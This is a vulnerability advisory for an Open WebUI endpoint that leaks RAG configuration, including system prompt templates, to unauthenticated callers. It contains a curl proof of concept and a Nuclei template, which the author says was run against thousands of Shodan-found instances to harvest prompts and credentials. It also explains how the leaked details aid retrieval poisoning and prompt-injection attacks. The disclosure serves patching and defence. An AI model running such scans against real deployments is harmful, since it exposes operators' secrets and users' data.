Open WebUI - Unauthenticated RAG Configuration Disclosure (CVE-2026-45397)

A single unauthenticated GET to /api/v1/retrieval/ leaks Open WebUI's full RAG pipeline config — chunk sizes, templates, embedding and reranking models — because get_status() forgot the auth dependency its neighbours all have.

#Open WebUI#Information Disclosure#CWE-306#RAG#FastAPI#Python#CVE-2026-45397#Nuclei
Open WebUI - Unauthenticated RAG Configuration Disclosure (CVE-2026-45397)

Summary

Open WebUI’s GET /api/v1/retrieval/ endpoint (get_status()) returns the full Retrieval-Augmented Generation pipeline configuration to any HTTP client — no session, no token, no role. Every adjacent endpoint in the same router guards itself with Depends(get_verified_user) or Depends(get_admin_user); this one route was declared with only request: Request and no user dependency, so FastAPI never runs an auth check before handing back the config.

The result is zero-effort reconnaissance: chunk parameters, the RAG template, and the exact embedding/reranking model names are disclosed to an anonymous attacker, who can then fingerprint the deployment and tailor retrieval-poisoning payloads to the disclosed chunk boundaries.

Vulnerability Info

CVE CVE-2026-45397
Credit Hesham Mahmoud Aka 0xRyuzak1
Advisory GHSA-65pg-qhhw-mxwg
Severity Medium
CVSSv3.1 5.3 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Component backend/open_webui/routers/retrieval.pyget_status()
Affected Version Open WebUI < 0.9.5
Patched Version >= 0.9.5
Auth Required None — fully unauthenticated
Class CWE-306: Missing Authentication for Critical Function

Root Cause

The route handler at backend/open_webui/routers/retrieval.py:262 is declared without any user dependency:

@router.get('/')
async def get_status(request: Request):        # <-- no Depends(...) — anyone can call it
    return {
        'status': True,
        'chunk_size': request.app.state.config.CHUNK_SIZE,
        'chunk_overlap': request.app.state.config.CHUNK_OVERLAP,
        'template': request.app.state.config.RAG_TEMPLATE,
        'embedding_engine': request.app.state.config.RAG_EMBEDDING_ENGINE,
        'embedding_model': request.app.state.config.RAG_EMBEDDING_MODEL,
        'reranking_model': request.app.state.config.RAG_RERANKING_MODEL,
        'embedding_batch_size': request.app.state.config.RAG_EMBEDDING_BATCH_SIZE,
        # ...
    }

Contrast with its neighbours in the same router, which are all explicitly guarded:

@router.get('/embedding')
async def get_embedding_config(request: Request, user=Depends(get_admin_user)):
    ...

@router.get('/reranking')
async def get_reranking_config(request: Request, user=Depends(get_admin_user)):
    ...

In FastAPI, authentication is enforced by declaring the dependency as a parameter (user=Depends(get_verified_user)). Because get_status() never declares one, FastAPI wires up no auth call at all — the handler executes for every request. This is the textbook CWE-306 shape: not a broken check, a missing one, on exactly one route while its siblings got it right.

Exposed Information

A single request discloses the operational RAG configuration:

Field What it leaks
chunk_size / chunk_overlap Retrieval segmentation boundaries — used to align poisoning payloads
template (RAG_TEMPLATE) The system RAG prompt template, including any custom instructions
embedding_engine Backend type (e.g. ollama, openai, local)
embedding_model Exact embedding model name/version
reranking_model Reranker model details
embedding_batch_size / async Pipeline tuning, useful for fingerprinting

Proof of Concept

No authentication header is required:

curl -s http://TARGET/api/v1/retrieval/

Example response:

{
  "status": true,
  "chunk_size": 1000,
  "chunk_overlap": 100,
  "template": "Use the following context...\n\nQuery: ",
  "embedding_engine": "ollama",
  "embedding_model": "nomic-embed-text:latest",
  "reranking_model": "BAAI/bge-reranker-v2-m3",
  "embedding_batch_size": 1
}

Why This Is a Vulnerability

When this was first reported, the developers didn’t immediately consider it a vulnerability. This section lays out the full impact and why an unauthenticated config endpoint is a genuine security defect — not just a cosmetic one.

1. RAG_TEMPLATE is sensitive by definition

The RAG_TEMPLATE field contains the actual system RAG prompt template used for every RAG query. Organizations embed proprietary logic, safety guardrails, and behavioral instructions directly in this template (e.g. “do not discuss [topic]”, custom formatting, business rules — and sometimes credentials). An unauthenticated external party retrieves all of it in a single HTTP request:

curl -s http://TARGET/api/v1/retrieval/

This is prompt exfiltration — one of the OWASP Top 10 for LLM Applications (LLM07:2025 — System Prompt Leakage), a well-documented confidentiality concern in AI systems. Many organizations treat their system prompts as intellectual property.

2. Model intelligence enables targeted attacks

RAG_EMBEDDING_ENGINE + RAG_EMBEDDING_MODEL + RAG_RERANKING_MODEL + RAG_CHUNK_OVERLAP + RAG_CHUNK_SIZE together reveal the exact AI stack. An attacker who knows you’re using, e.g., text-embedding-3-large with a specific reranker and specific chunk size / overlap can:

  • Craft adversarial documents optimized for that model’s scoring function to manipulate retrieval results (RAG poisoning).
  • Use known model-specific embedding-inversion techniques to reconstruct what data likely lives in your vector store.
  • Abuse the chunk size and overlap to hide malicious content within chunk boundaries while poisoning retrieval, evading defensive systems.

3. The codebase itself proves this is an oversight

Every other configuration endpoint in retrieval.py requires get_admin_user:

Endpoint Auth
GET /embedding Depends(get_admin_user)
POST /embedding/update Depends(get_admin_user)
GET /config Depends(get_admin_user)
POST /config/update Depends(get_admin_user)
GET / no auth

GET / is the only config endpoint with no auth. This inconsistency demonstrates developer intent: all config should be admin-gated. The missing Depends(get_verified_user) is a defect, not a design choice.

Real-World Exposure — Nuclei + Shodan

As a PoC, I wrote the following Nuclei template and ran it across thousands of Open WebUI instances exposed worldwide (found via Shodan). Thousands of exposed sensitive templates were returned, containing multiple pieces of sensitive information — which I can’t include here for privacy, as many of them contained critical credentials.

id: openwebui-retrieval-api-exposure

info:
  name: Open WebUI - Retrieval API Exposed
  author: Hesham Mahmoud
  severity: medium
  description: Detects exposed Open WebUI instances via /api/v1/retrieval/ and extracts key configuration fields.
  tags: openwebui,api,exposure,llm,rag
  metadata:
    shodan-query: 'http.title:"Open WebUI"'

http:
  - method: GET
    path:
      - "/api/v1/retrieval/"

    headers:
      Accept: "application/json"
      Content-Type: "application/json"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "application/json"

      - type: word
        part: body
        words:
          - "embedding_engine"
          - "chunk_size"
          - "reranking_model"
        condition: or

    extractors:
      - type: json
        name: config
        part: body
        json:
          - |
            {
              status: .status,
              chunk_size: .chunk_size,
              chunk_overlap: .chunk_overlap,
              template: .template,
              embedding_engine: .embedding_engine,
              embedding_model: .embedding_model,
              reranking_model: .reranking_model,
              embedding_batch_size: .embedding_batch_size
            }
            | with_entries(select(.value != null and .value != "" and .value != 0))

After running this on a sample of Shodan IPs from around the world, I got thousands of hits exposing critical information — credentials, PII, system prompts, etc.

Shodan + Nuclei To Massive Data Leaked

Impact

  • Zero-effort reconnaissance — no credentials, no brute force; one GET reveals the RAG stack.
  • Infrastructure fingerprinting — disclosed engine and model names identify the backend (Ollama/OpenAI/local) and narrow the attack surface for follow-up exploitation.
  • Targeted retrieval poisoning — knowing chunk_size/chunk_overlap lets an attacker craft documents whose malicious content lands cleanly inside a single retrieved chunk, maximising the odds it reaches the model context intact.
  • Prompt-template leakage — the exposed RAG_TEMPLATE reveals custom instructions/guardrails that can be reasoned around when crafting jailbreak or injection inputs.